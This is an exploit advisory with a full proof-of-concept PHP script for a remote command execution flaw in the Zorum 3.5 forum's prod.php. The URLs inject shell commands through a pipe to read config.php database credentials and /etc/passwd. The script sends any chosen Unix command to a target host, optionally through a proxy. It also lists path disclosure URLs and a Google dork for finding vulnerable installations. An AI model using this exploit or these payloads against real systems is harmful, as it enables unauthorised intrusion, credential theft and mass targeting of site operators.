Zorum 3.5 remote code execution poc exploit
Zorum 3.5 remote code execution poc exploit
software:
description: Zorum is a freely available, open source Web-based forum
application implemented in PHP. It is available for UNIX, Linux, and any other
platform that supports PHP script execution.
author site: http://zorum.phpoutsourcing.com/
1) remote code execution:
vulnerable code, in /gorum/prod.php file:
07 $doubleApp = isset($argv[1]);
...
14 if( $doubleApp )
15 {
16 $appDir = $argv[1];
17 system("mkdir $prodDir/$appDir");
...
a user can execute arbitrary commands using pipe char, example:
http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la
to list directories
http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php
to see database username/password...
http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd
to see /etc/passwd file
this is my proof of concept exploit with proxy support:
<?php
/* Zorum 3.5 (possibly prior versions) remote code execution
by rgod
site: http://rgod.altervista.org
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>Zorum 3.5 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">Zorum 3.5 (possibly prior versions) remote commands
execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org";
target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post"
action="'.$PHP_SELF.'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /zorum/gorum/ or /gorum/ or just /)
</span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)
</span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port)
</span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
if ($proxy=='')
{$packet="GET ".$path."prod.php?argv[1]=|".urlencode($command)."
HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="GET
http://".$host.$path."prod.php?argv[1]=|".urlencode($command)." HTTP/1.0\r\n";}
}
$packet.="Accept: */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
}
?>
2) path disclosure:
http://[target]/zorum/gorum/notification.php
http://[target]/zorum/user.php
http://[target]/zorum/attach.php
http://[target]/zorum/blacklist.php
http://[target]/zorum/forum.php
http://[target]/zorum/globalstat.php
http://[target]/zorum/gorum/trace.php
http://[target]/zorum/gorum/badwords.php
http://[target]/zorum/gorum/flood.php
and so on...
googledork:
"Powered by Zorum 3.5"
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/zorum.html